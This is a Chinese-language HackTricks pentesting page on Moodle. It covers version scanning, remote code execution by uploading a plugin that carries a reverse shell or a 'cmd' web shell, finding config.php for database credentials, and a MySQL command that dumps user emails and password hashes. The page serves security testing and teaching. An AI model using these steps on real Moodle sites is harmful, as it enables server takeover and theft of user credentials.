hacktricks/network-services-pentesting/pentesting-web/moodle.md

6 KiB
Raw Blame History

Moodle

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %} {% endhint %}

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级 漏洞赏金平台!今天就加入我们 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

自动扫描

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

我发现自动工具在查找影响moodle版本的漏洞方面非常无用。你可以在https://snyk.io/vuln/composer:moodle%2Fmoodle检查它们。

RCE

你需要拥有管理员角色,并且你可以在“网站管理”选项卡中安装插件**:**

如果你是管理员,你可能仍然需要激活此选项。你可以在moodle特权升级PoC中查看如何操作https://github.com/HoangKien1020/CVE-2020-14321

然后,你可以安装以下插件该插件包含经典的pentest-monkey php rev shell在上传之前你需要解压缩它修改revshell的IP和端口然后再压缩它

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

或者你可以使用来自https://github.com/HoangKien1020/Moodle_RCE的插件以获取带有“cmd”参数的常规PHP shell。

要访问启动恶意插件,你需要访问:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

查找数据库凭据

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

从数据库中转储凭据

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

漏洞赏金提示: 注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达 $100,000 的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %} {% endhint %}